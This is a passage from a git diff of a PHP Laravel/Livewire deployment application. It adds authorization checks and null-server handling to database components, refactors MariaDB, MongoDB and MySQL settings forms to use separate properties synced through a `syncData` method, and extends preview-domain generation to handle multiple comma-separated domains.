Do not forget to redeploy the preview to apply the changes.'); + + // Find the key for this preview in the collection + $previewKey = $this->application->previews->search(function ($item) use ($preview_id) { + return $item->id == $preview_id; + }); + + if ($previewKey !== false && isset($this->previewFqdns[$previewKey])) { + $fqdn = $this->previewFqdns[$previewKey]; + + if (! empty($fqdn)) { + $fqdn = str($fqdn)->replaceEnd(',', '')->trim(); + $fqdn = str($fqdn)->replaceStart(',', '')->trim(); + $fqdn = str($fqdn)->trim()->lower(); + $this->previewFqdns[$previewKey] = $fqdn; + + if (! validateDNSEntry($fqdn, $this->application->destination->server)) { + $this->dispatch('error', 'Validating DNS failed.', "Make sure you have added the DNS records correctly.

$fqdn->{$this->application->destination->server->ip}

Check this documentation for further help."); + $success = false; + } + + // Check for domain conflicts if not forcing save + if (! $this->forceSaveDomains) { + $result = checkDomainUsage(resource: $this->application, domain: $fqdn); + if ($result['hasConflicts']) { + $this->domainConflicts = $result['conflicts']; + $this->showDomainConflictModal = true; + $this->pendingPreviewId = $preview_id; + + return; + } + } else { + // Reset the force flag after using it + $this->forceSaveDomains = false; + } + } + } + + if ($success) { + $this->syncData(true); + $preview->save(); + $this->dispatch('success', 'Preview saved.

Do not forget to redeploy the preview to apply the changes.'); + } } catch (\Throwable $e) { return handleError($e, $this); } @@ -121,6 +158,7 @@ public function generate_preview($preview_id) if ($this->application->build_pack === 'dockercompose') { $preview->generate_preview_fqdn_compose(); $this->application->refresh(); + $this->syncData(false); $this->dispatch('success', 'Domain generated.'); return; @@ -128,6 +166,7 @@ public function generate_preview($preview_id) $preview->generate_preview_fqdn(); $this->application->refresh(); + $this->syncData(false); $this->dispatch('update_links'); $this->dispatch('success', 'Domain generated.'); } catch (\Throwable $e) { @@ -152,6 +191,7 @@ public function add(int $pull_request_id, ?string $pull_request_html_url = null) } $found->generate_preview_fqdn_compose(); $this->application->refresh(); + $this->syncData(false); } else { $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); @@ -164,6 +204,7 @@ public function add(int $pull_request_id, ?string $pull_request_html_url = null) } $found->generate_preview_fqdn(); $this->application->refresh(); + $this->syncData(false); $this->dispatch('update_links'); $this->dispatch('success', 'Preview added.'); } diff --git a/app/Livewire/Project/Application/PreviewsCompose.php b/app/Livewire/Project/Application/PreviewsCompose.php index cfb364b6d..942dfeb37 100644 --- a/app/Livewire/Project/Application/PreviewsCompose.php +++ b/app/Livewire/Project/Application/PreviewsCompose.php @@ -18,6 +18,13 @@ class PreviewsCompose extends Component public ApplicationPreview $preview; + public ?string $domain = null; + + public function mount() + { + $this->domain = data_get($this->service, 'domain'); + } + public function render() { return view('livewire.project.application.previews-compose'); @@ -28,10 +35,10 @@ public function save() try { $this->authorize('update', $this->preview->application); - $domain = data_get($this->service, 'domain'); $docker_compose_domains = data_get($this->preview, 'docker_compose_domains'); - $docker_compose_domains = json_decode($docker_compose_domains, true); - $docker_compose_domains[$this->serviceName]['domain'] = $domain; + $docker_compose_domains = json_decode($docker_compose_domains, true) ?: []; + $docker_compose_domains[$this->serviceName] = $docker_compose_domains[$this->serviceName] ?? []; + $docker_compose_domains[$this->serviceName]['domain'] = $this->domain; $this->preview->docker_compose_domains = json_encode($docker_compose_domains); $this->preview->save(); $this->dispatch('update_links'); @@ -46,7 +53,7 @@ public function generate() try { $this->authorize('update', $this->preview->application); - $domains = collect(json_decode($this->preview->application->docker_compose_domains)) ?? collect(); + $domains = collect(json_decode($this->preview->application->docker_compose_domains, true) ?: []); $domain = $domains->first(function ($_, $key) { return $key === $this->serviceName; }); @@ -68,24 +75,40 @@ public function generate() $preview_fqdn = str($generated_fqdn)->before('://').'://'.$preview_fqdn; } else { // Use the existing domain from the main application - $url = Url::fromString($domain_string); + // Handle multiple domains separated by commas + $domain_list = explode(',', $domain_string); + $preview_fqdns = []; $template = $this->preview->application->preview_url_template; - $host = $url->getHost(); - $schema = $url->getScheme(); - $portInt = $url->getPort(); - $port = $portInt !== null ? ':'.$portInt : ''; $random = new Cuid2; - $preview_fqdn = str_replace('{{random}}', $random, $template); - $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn); - $preview_fqdn = str_replace('{{pr_id}}', $this->preview->pull_request_id, $preview_fqdn); - $preview_fqdn = str_replace('{{port}}', $port, $preview_fqdn); - $preview_fqdn = "$schema://$preview_fqdn"; + + foreach ($domain_list as $single_domain) { + $single_domain = trim($single_domain); + if (empty($single_domain)) { + continue; + } + + $url = Url::fromString($single_domain); + $host = $url->getHost(); + $schema = $url->getScheme(); + $portInt = $url->getPort(); + $port = $portInt !== null ? ':'.$portInt : ''; + + $preview_fqdn = str_replace('{{random}}', $random, $template); + $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn); + $preview_fqdn = str_replace('{{pr_id}}', $this->preview->pull_request_id, $preview_fqdn); + $preview_fqdn = str_replace('{{port}}', $port, $preview_fqdn); + $preview_fqdns[] = "$schema://$preview_fqdn"; + } + + $preview_fqdn = implode(',', $preview_fqdns); } // Save the generated domain + $this->domain = $preview_fqdn; $docker_compose_domains = data_get($this->preview, 'docker_compose_domains'); - $docker_compose_domains = json_decode($docker_compose_domains, true); - $docker_compose_domains[$this->serviceName]['domain'] = $this->service->domain = $preview_fqdn; + $docker_compose_domains = json_decode($docker_compose_domains, true) ?: []; + $docker_compose_domains[$this->serviceName] = $docker_compose_domains[$this->serviceName] ?? []; + $docker_compose_domains[$this->serviceName]['domain'] = $this->domain; $this->preview->docker_compose_domains = json_encode($docker_compose_domains); $this->preview->save(); diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php index b3df79008..7deaa82a9 100644 --- a/app/Livewire/Project/Database/BackupEdit.php +++ b/app/Livewire/Project/Database/BackupEdit.php @@ -85,6 +85,7 @@ class BackupEdit extends Component public function mount() { try { + $this->authorize('view', $this->backup->database); $this->parameters = get_route_parameters(); $this->syncData(); } catch (Exception $e) { diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index b80775853..c4a7983b8 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -16,7 +16,7 @@ class General extends Component { use AuthorizesRequests; - public Server $server; + public ?Server $server = null; public StandaloneClickhouse $database; @@ -56,8 +56,14 @@ public function getListeners() public function mount() { try { + $this->authorize('view', $this->database); $this->syncData(); $this->server = data_get($this->database, 'destination.server'); + if (! $this->server) { + $this->dispatch('error', 'Database destination server is not configured.'); + + return; + } } catch (\Throwable $e) { return handleError($e, $this); } diff --git a/app/Livewire/Project/Database/Configuration.php b/app/Livewire/Project/Database/Configuration.php index 88ecccf99..7c64a6eef 100644 --- a/app/Livewire/Project/Database/Configuration.php +++ b/app/Livewire/Project/Database/Configuration.php @@ -3,10 +3,13 @@ namespace App\Livewire\Project\Database; use Auth; +use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; class Configuration extends Component { + use AuthorizesRequests; + public $currentRoute; public $database; @@ -42,6 +45,8 @@ public function mount() ->where('uuid', request()->route('database_uuid')) ->firstOrFail(); + $this->authorize('view', $database); + $this->database = $database; $this->project = $project; $this->environment = $environment; diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index fabbc7cb4..9052a4749 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -6,7 +6,6 @@ use App\Actions\Database\StopDatabaseProxy; use App\Helpers\SslHelper; use App\Models\Server; -use App\Models\SslCertificate; use App\Models\StandaloneDragonfly; use App\Support\ValidationPatterns; use Carbon\Carbon; @@ -19,7 +18,7 @@ class General extends Component { use AuthorizesRequests; - public Server $server; + public ?Server $server = null; public StandaloneDragonfly $database; @@ -63,8 +62,14 @@ public function getListeners() public function mount() { try { + $this->authorize('view', $this->database); $this->syncData(); $this->server = data_get($this->database, 'destination.server'); + if (! $this->server) { + $this->dispatch('error', 'Database destination server is not configured.'); + + return; + } $existingCert = $this->database->sslCertificates()->first(); @@ -249,13 +254,13 @@ public function regenerateSslCertificate() $server = $this->database->destination->server; - $caCert = SslCertificate::where('server_id', $server->id) + $caCert = $server->sslCertificates() ->where('is_ca_certificate', true) ->first(); if (! $caCert) { $server->generateCaCertificate(); - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); } if (! $caCert) { diff --git a/app/Livewire/Project/Database/Import.php b/app/Livewire/Project/Database/Import.php index 3f974f63d..7d6ac3131 100644 --- a/app/Livewire/Project/Database/Import.php +++ b/app/Livewire/Project/Database/Import.php @@ -131,6 +131,7 @@ public function getContainers() if (is_null($resource)) { abort(404); } + $this->authorize('view', $resource); $this->resource = $resource; $this->server = $this->resource->destination->server; $this->container = $this->resource->uuid; diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index 7502d001d..6d21988e7 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -6,7 +6,6 @@ use App\Actions\Database\StopDatabaseProxy; use App\Helpers\SslHelper; use App\Models\Server; -use App\Models\SslCertificate; use App\Models\StandaloneKeydb; use App\Support\ValidationPatterns; use Carbon\Carbon; @@ -19,7 +18,7 @@ class General extends Component { use AuthorizesRequests; - public Server $server; + public ?Server $server = null; public StandaloneKeydb $database; @@ -59,15 +58,20 @@ public function getListeners() return [ "echo-private:team.{$teamId},DatabaseProxyStopped" => 'databaseProxyStopped', "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', - 'refresh' => '$refresh', ]; } public function mount() { try { + $this->authorize('view', $this->database); $this->syncData(); $this->server = data_get($this->database, 'destination.server'); + if (! $this->server) { + $this->dispatch('error', 'Database destination server is not configured.'); + + return; + } $existingCert = $this->database->sslCertificates()->first(); @@ -255,7 +259,7 @@ public function regenerateSslCertificate() return; } - $caCert = SslCertificate::where('server_id', $existingCert->server_id) + $caCert = $this->server->sslCertificates() ->where('is_ca_certificate', true) ->first(); diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index c82c4538f..429cfc387 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -6,7 +6,6 @@ use App\Actions\Database\StopDatabaseProxy; use App\Helpers\SslHelper; use App\Models\Server; -use App\Models\SslCertificate; use App\Models\StandaloneMariadb; use App\Support\ValidationPatterns; use Carbon\Carbon; @@ -19,12 +18,38 @@ class General extends Component { use AuthorizesRequests; - protected $listeners = ['refresh']; - - public Server $server; + public ?Server $server = null; public StandaloneMariadb $database; + public string $name; + + public ?string $description = null; + + public string $mariadbRootPassword; + + public string $mariadbUser; + + public string $mariadbPassword; + + public string $mariadbDatabase; + + public ?string $mariadbConf = null; + + public string $image; + + public ?string $portsMappings = null; + + public ?bool $isPublic = null; + + public ?int $publicPort = null; + + public bool $isLogDrainEnabled = false; + + public ?string $customDockerRunOptions = null; + + public bool $enableSsl = false; + public ?string $db_url = null; public ?string $db_url_public = null; @@ -37,27 +62,26 @@ public function getListeners() return [ "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', - 'refresh' => '$refresh', ]; } protected function rules(): array { return [ - 'database.name' => ValidationPatterns::nameRules(), - 'database.description' => ValidationPatterns::descriptionRules(), - 'database.mariadb_root_password' => 'required', - 'database.mariadb_user' => 'required', - 'database.mariadb_password' => 'required', - 'database.mariadb_database' => 'required', - 'database.mariadb_conf' => 'nullable', - 'database.image' => 'required', - 'database.ports_mappings' => 'nullable', - 'database.is_public' => 'nullable|boolean', - 'database.public_port' => 'nullable|integer', - 'database.is_log_drain_enabled' => 'nullable|boolean', - 'database.custom_docker_run_options' => 'nullable', - 'database.enable_ssl' => 'boolean', + 'name' => ValidationPatterns::nameRules(), + 'description' => ValidationPatterns::descriptionRules(), + 'mariadbRootPassword' => 'required', + 'mariadbUser' => 'required', + 'mariadbPassword' => 'required', + 'mariadbDatabase' => 'required', + 'mariadbConf' => 'nullable', + 'image' => 'required', + 'portsMappings' => 'nullable', + 'isPublic' => 'nullable|boolean', + 'publicPort' => 'nullable|integer', + 'isLogDrainEnabled' => 'nullable|boolean', + 'customDockerRunOptions' => 'nullable', + 'enableSsl' => 'boolean', ]; } @@ -66,45 +90,96 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ - 'database.name.required' => 'The Name field is required.', - 'database.name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', - 'database.description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', - 'database.mariadb_root_password.required' => 'The Root Password field is required.', - 'database.mariadb_user.required' => 'The MariaDB User field is required.', - 'database.mariadb_password.required' => 'The MariaDB Password field is required.', - 'database.mariadb_database.required' => 'The MariaDB Database field is required.', - 'database.image.required' => 'The Docker Image field is required.', - 'database.public_port.integer' => 'The Public Port must be an integer.', + 'name.required' => 'The Name field is required.', + 'name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', + 'description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', + 'mariadbRootPassword.required' => 'The Root Password field is required.', + 'mariadbUser.required' => 'The MariaDB User field is required.', + 'mariadbPassword.required' => 'The MariaDB Password field is required.', + 'mariadbDatabase.required' => 'The MariaDB Database field is required.', + 'image.required' => 'The Docker Image field is required.', + 'publicPort.integer' => 'The Public Port must be an integer.', ] ); } protected $validationAttributes = [ - 'database.name' => 'Name', - 'database.description' => 'Description', - 'database.mariadb_root_password' => 'Root Password', - 'database.mariadb_user' => 'User', - 'database.mariadb_password' => 'Password', - 'database.mariadb_database' => 'Database', - 'database.mariadb_conf' => 'MariaDB Configuration', - 'database.image' => 'Image', - 'database.ports_mappings' => 'Port Mapping', - 'database.is_public' => 'Is Public', - 'database.public_port' => 'Public Port', - 'database.custom_docker_run_options' => 'Custom Docker Options', - 'database.enable_ssl' => 'Enable SSL', + 'name' => 'Name', + 'description' => 'Description', + 'mariadbRootPassword' => 'Root Password', + 'mariadbUser' => 'User', + 'mariadbPassword' => 'Password', + 'mariadbDatabase' => 'Database', + 'mariadbConf' => 'MariaDB Configuration', + 'image' => 'Image', + 'portsMappings' => 'Port Mapping', + 'isPublic' => 'Is Public', + 'publicPort' => 'Public Port', + 'customDockerRunOptions' => 'Custom Docker Options', + 'enableSsl' => 'Enable SSL', ]; public function mount() { - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; - $this->server = data_get($this->database, 'destination.server'); + try { + $this->authorize('view', $this->database); + $this->syncData(); + $this->server = data_get($this->database, 'destination.server'); + if (! $this->server) { + $this->dispatch('error', 'Database destination server is not configured.'); - $existingCert = $this->database->sslCertificates()->first(); + return; + } - if ($existingCert) { - $this->certificateValidUntil = $existingCert->valid_until; + $existingCert = $this->database->sslCertificates()->first(); + + if ($existingCert) { + $this->certificateValidUntil = $existingCert->valid_until; + } + } catch (Exception $e) { + return handleError($e, $this); + } + } + + public function syncData(bool $toModel = false) + { + if ($toModel) { + $this->validate(); + $this->database->name = $this->name; + $this->database->description = $this->description; + $this->database->mariadb_root_password = $this->mariadbRootPassword; + $this->database->mariadb_user = $this->mariadbUser; + $this->database->mariadb_password = $this->mariadbPassword; + $this->database->mariadb_database = $this->mariadbDatabase; + $this->database->mariadb_conf = $this->mariadbConf; + $this->database->image = $this->image; + $this->database->ports_mappings = $this->portsMappings; + $this->database->is_public = $this->isPublic; + $this->database->public_port = $this->publicPort; + $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; + $this->database->custom_docker_run_options = $this->customDockerRunOptions; + $this->database->enable_ssl = $this->enableSsl; + $this->database->save(); + + $this->db_url = $this->database->internal_db_url; + $this->db_url_public = $this->database->external_db_url; + } else { + $this->name = $this->database->name; + $this->description = $this->database->description; + $this->mariadbRootPassword = $this->database->mariadb_root_password; + $this->mariadbUser = $this->database->mariadb_user; + $this->mariadbPassword = $this->database->mariadb_password; + $this->mariadbDatabase = $this->database->mariadb_database; + $this->mariadbConf = $this->database->mariadb_conf; + $this->image = $this->database->image; + $this->portsMappings = $this->database->ports_mappings; + $this->isPublic = $this->database->is_public; + $this->publicPort = $this->database->public_port; + $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; + $this->customDockerRunOptions = $this->database->custom_docker_run_options; + $this->enableSsl = $this->database->enable_ssl; + $this->db_url = $this->database->internal_db_url; + $this->db_url_public = $this->database->external_db_url; } } @@ -114,12 +189,12 @@ public function instantSaveAdvanced() $this->authorize('update', $this->database); if (! $this->server->isLogDrainEnabled()) { - $this->database->is_log_drain_enabled = false; + $this->isLogDrainEnabled = false; $this->dispatch('error', 'Log drain is not enabled on the server. Please enable it first.'); return; } - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'Database updated.'); $this->dispatch('success', 'You need to restart the service for the changes to take effect.'); } catch (Exception $e) { @@ -132,11 +207,10 @@ public function submit() try { $this->authorize('update', $this->database); - if (str($this->database->public_port)->isEmpty()) { - $this->database->public_port = null; + if (str($this->publicPort)->isEmpty()) { + $this->publicPort = null; } - $this->validate(); - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'Database updated.'); } catch (Exception $e) { return handleError($e, $this); @@ -154,16 +228,16 @@ public function instantSave() try { $this->authorize('update', $this->database); - if ($this->database->is_public && ! $this->database->public_port) { + if ($this->isPublic && ! $this->publicPort) { $this->dispatch('error', 'Public port is required.'); - $this->database->is_public = false; + $this->isPublic = false; return; } - if ($this->database->is_public) { + if ($this->isPublic) { if (! str($this->database->status)->startsWith('running')) { $this->dispatch('error', 'Database must be started to be publicly accessible.'); - $this->database->is_public = false; + $this->isPublic = false; return; } @@ -173,10 +247,9 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } - $this->db_url_public = $this->database->external_db_url; - $this->database->save(); + $this->syncData(true); } catch (\Throwable $e) { - $this->database->is_public = ! $this->database->is_public; + $this->isPublic = ! $this->isPublic; return handleError($e, $this); } @@ -187,7 +260,7 @@ public function instantSaveSSL() try { $this->authorize('update', $this->database); - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'SSL configuration updated.'); } catch (Exception $e) { return handleError($e, $this); @@ -207,7 +280,7 @@ public function regenerateSslCertificate() return; } - $caCert = SslCertificate::where('server_id', $existingCert->server_id)->where('is_ca_certificate', true)->first(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); SslHelper::generateSslCertificate( commonName: $existingCert->common_name, @@ -231,6 +304,7 @@ public function regenerateSslCertificate() public function refresh(): void { $this->database->refresh(); + $this->syncData(); } public function render() diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 4fbc45437..ae725fa4b 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -6,7 +6,6 @@ use App\Actions\Database\StopDatabaseProxy; use App\Helpers\SslHelper; use App\Models\Server; -use App\Models\SslCertificate; use App\Models\StandaloneMongodb; use App\Support\ValidationPatterns; use Carbon\Carbon; @@ -19,12 +18,38 @@ class General extends Component { use AuthorizesRequests; - protected $listeners = ['refresh']; - - public Server $server; + public ?Server $server = null; public StandaloneMongodb $database; + public string $name; + + public ?string $description = null; + + public ?string $mongoConf = null; + + public string $mongoInitdbRootUsername; + + public string $mongoInitdbRootPassword; + + public string $mongoInitdbDatabase; + + public string $image; + + public ?string $portsMappings = null; + + public ?bool $isPublic = null; + + public ?int $publicPort = null; + + public bool $isLogDrainEnabled = false; + + public ?string $customDockerRunOptions = null; + + public bool $enableSsl = false; + + public ?string $sslMode = null; + public ?string $db_url = null; public ?string $db_url_public = null; @@ -37,27 +62,26 @@ public function getListeners() return [ "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', - 'refresh' => '$refresh', ]; } protected function rules(): array { return [ - 'database.name' => ValidationPatterns::nameRules(), - 'database.description' => ValidationPatterns::descriptionRules(), - 'database.mongo_conf' => 'nullable', - 'database.mongo_initdb_root_username' => 'required', - 'database.mongo_initdb_root_password' => 'required', - 'database.mongo_initdb_database' => 'required', - 'database.image' => 'required', - 'database.ports_mappings' => 'nullable', - 'database.is_public' => 'nullable|boolean', - 'database.public_port' => 'nullable|integer', - 'database.is_log_drain_enabled' => 'nullable|boolean', - 'database.custom_docker_run_options' => 'nullable', - 'database.enable_ssl' => 'boolean', - 'database.ssl_mode' => 'nullable|string|in:allow,prefer,require,verify-full', + 'name' => ValidationPatterns::nameRules(), + 'description' => ValidationPatterns::descriptionRules(), + 'mongoConf' => 'nullable', + 'mongoInitdbRootUsername' => 'required', + 'mongoInitdbRootPassword' => 'required', + 'mongoInitdbDatabase' => 'required', + 'image' => 'required', + 'portsMappings' => 'nullable', + 'isPublic' => 'nullable|boolean', + 'publicPort' => 'nullable|integer', + 'isLogDrainEnabled' => 'nullable|boolean', + 'customDockerRunOptions' => 'nullable', + 'enableSsl' => 'boolean', + 'sslMode' => 'nullable|string|in:allow,prefer,require,verify-full', ]; } @@ -66,45 +90,96 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ - 'database.name.required' => 'The Name field is required.', - 'database.name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', - 'database.description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', - 'database.mongo_initdb_root_username.required' => 'The Root Username field is required.', - 'database.mongo_initdb_root_password.required' => 'The Root Password field is required.', - 'database.mongo_initdb_database.required' => 'The MongoDB Database field is required.', - 'database.image.required' => 'The Docker Image field is required.', - 'database.public_port.integer' => 'The Public Port must be an integer.', - 'database.ssl_mode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-full.', + 'name.required' => 'The Name field is required.', + 'name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', + 'description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', + 'mongoInitdbRootUsername.required' => 'The Root Username field is required.', + 'mongoInitdbRootPassword.required' => 'The Root Password field is required.', + 'mongoInitdbDatabase.required' => 'The MongoDB Database field is required.', + 'image.required' => 'The Docker Image field is required.', + 'publicPort.integer' => 'The Public Port must be an integer.', + 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-full.', ] ); } protected $validationAttributes = [ - 'database.name' => 'Name', - 'database.description' => 'Description', - 'database.mongo_conf' => 'Mongo Configuration', - 'database.mongo_initdb_root_username' => 'Root Username', - 'database.mongo_initdb_root_password' => 'Root Password', - 'database.mongo_initdb_database' => 'Database', - 'database.image' => 'Image', - 'database.ports_mappings' => 'Port Mapping', - 'database.is_public' => 'Is Public', - 'database.public_port' => 'Public Port', - 'database.custom_docker_run_options' => 'Custom Docker Run Options', - 'database.enable_ssl' => 'Enable SSL', - 'database.ssl_mode' => 'SSL Mode', + 'name' => 'Name', + 'description' => 'Description', + 'mongoConf' => 'Mongo Configuration', + 'mongoInitdbRootUsername' => 'Root Username', + 'mongoInitdbRootPassword' => 'Root Password', + 'mongoInitdbDatabase' => 'Database', + 'image' => 'Image', + 'portsMappings' => 'Port Mapping', + 'isPublic' => 'Is Public', + 'publicPort' => 'Public Port', + 'customDockerRunOptions' => 'Custom Docker Run Options', + 'enableSsl' => 'Enable SSL', + 'sslMode' => 'SSL Mode', ]; public function mount() { - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; - $this->server = data_get($this->database, 'destination.server'); + try { + $this->authorize('view', $this->database); + $this->syncData(); + $this->server = data_get($this->database, 'destination.server'); + if (! $this->server) { + $this->dispatch('error', 'Database destination server is not configured.'); - $existingCert = $this->database->sslCertificates()->first(); + return; + } - if ($existingCert) { - $this->certificateValidUntil = $existingCert->valid_until; + $existingCert = $this->database->sslCertificates()->first(); + + if ($existingCert) { + $this->certificateValidUntil = $existingCert->valid_until; + } + } catch (Exception $e) { + return handleError($e, $this); + } + } + + public function syncData(bool $toModel = false) + { + if ($toModel) { + $this->validate(); + $this->database->name = $this->name; + $this->database->description = $this->description; + $this->database->mongo_conf = $this->mongoConf; + $this->database->mongo_initdb_root_username = $this->mongoInitdbRootUsername; + $this->database->mongo_initdb_root_password = $this->mongoInitdbRootPassword; + $this->database->mongo_initdb_database = $this->mongoInitdbDatabase; + $this->database->image = $this->image; + $this->database->ports_mappings = $this->portsMappings; + $this->database->is_public = $this->isPublic; + $this->database->public_port = $this->publicPort; + $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; + $this->database->custom_docker_run_options = $this->customDockerRunOptions; + $this->database->enable_ssl = $this->enableSsl; + $this->database->ssl_mode = $this->sslMode; + $this->database->save(); + + $this->db_url = $this->database->internal_db_url; + $this->db_url_public = $this->database->external_db_url; + } else { + $this->name = $this->database->name; + $this->description = $this->database->description; + $this->mongoConf = $this->database->mongo_conf; + $this->mongoInitdbRootUsername = $this->database->mongo_initdb_root_username; + $this->mongoInitdbRootPassword = $this->database->mongo_initdb_root_password; + $this->mongoInitdbDatabase = $this->database->mongo_initdb_database; + $this->image = $this->database->image; + $this->portsMappings = $this->database->ports_mappings; + $this->isPublic = $this->database->is_public; + $this->publicPort = $this->database->public_port; + $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; + $this->customDockerRunOptions = $this->database->custom_docker_run_options; + $this->enableSsl = $this->database->enable_ssl; + $this->sslMode = $this->database->ssl_mode; + $this->db_url = $this->database->internal_db_url; + $this->db_url_public = $this->database->external_db_url; } } @@ -114,12 +189,12 @@ public function instantSaveAdvanced() $this->authorize('update', $this->database); if (! $this->server->isLogDrainEnabled()) { - $this->database->is_log_drain_enabled = false; + $this->isLogDrainEnabled = false; $this->dispatch('error', 'Log drain is not enabled on the server. Please enable it first.'); return; } - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'Database updated.'); $this->dispatch('success', 'You need to restart the service for the changes to take effect.'); } catch (Exception $e) { @@ -132,14 +207,13 @@ public function submit() try { $this->authorize('update', $this->database); - if (str($this->database->public_port)->isEmpty()) { - $this->database->public_port = null; + if (str($this->publicPort)->isEmpty()) { + $this->publicPort = null; } - if (str($this->database->mongo_conf)->isEmpty()) { - $this->database->mongo_conf = null; + if (str($this->mongoConf)->isEmpty()) { + $this->mongoConf = null; } - $this->validate(); - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'Database updated.'); } catch (Exception $e) { return handleError($e, $this); @@ -157,16 +231,16 @@ public function instantSave() try { $this->authorize('update', $this->database); - if ($this->database->is_public && ! $this->database->public_port) { + if ($this->isPublic && ! $this->publicPort) { $this->dispatch('error', 'Public port is required.'); - $this->database->is_public = false; + $this->isPublic = false; return; } - if ($this->database->is_public) { + if ($this->isPublic) { if (! str($this->database->status)->startsWith('running')) { $this->dispatch('error', 'Database must be started to be publicly accessible.'); - $this->database->is_public = false; + $this->isPublic = false; return; } @@ -176,16 +250,15 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } - $this->db_url_public = $this->database->external_db_url; - $this->database->save(); + $this->syncData(true); } catch (\Throwable $e) { - $this->database->is_public = ! $this->database->is_public; + $this->isPublic = ! $this->isPublic; return handleError($e, $this); } } - public function updatedDatabaseSslMode() + public function updatedSslMode() { $this->instantSaveSSL(); } @@ -195,7 +268,7 @@ public function instantSaveSSL() try { $this->authorize('update', $this->database); - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'SSL configuration updated.'); } catch (Exception $e) { return handleError($e, $this); @@ -215,7 +288,7 @@ public function regenerateSslCertificate() return; } - $caCert = SslCertificate::where('server_id', $existingCert->server_id)->where('is_ca_certificate', true)->first(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); SslHelper::generateSslCertificate( commonName: $existingCert->common_name, @@ -239,6 +312,7 @@ public function regenerateSslCertificate() public function refresh(): void { $this->database->refresh(); + $this->syncData(); } public function render() diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index ada1b3a2c..cffedcd23 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -6,7 +6,6 @@ use App\Actions\Database\StopDatabaseProxy; use App\Helpers\SslHelper; use App\Models\Server; -use App\Models\SslCertificate; use App\Models\StandaloneMysql; use App\Support\ValidationPatterns; use Carbon\Carbon; @@ -19,11 +18,39 @@ class General extends Component { use AuthorizesRequests; - protected $listeners = ['refresh']; - public StandaloneMysql $database; - public Server $server; + public ?Server $server = null; + + public string $name; + + public ?string $description = null; + + public string $mysqlRootPassword; + + public string $mysqlUser; + + public string $mysqlPassword; + + public string $mysqlDatabase; + + public ?string $mysqlConf = null; + + public string $image; + + public ?string $portsMappings = null; + + public ?bool $isPublic = null; + + public ?int $publicPort = null; + + public bool $isLogDrainEnabled = false; + + public ?string $customDockerRunOptions = null; + + public bool $enableSsl = false; + + public ?string $sslMode = null; public ?string $db_url = null; @@ -37,28 +64,27 @@ public function 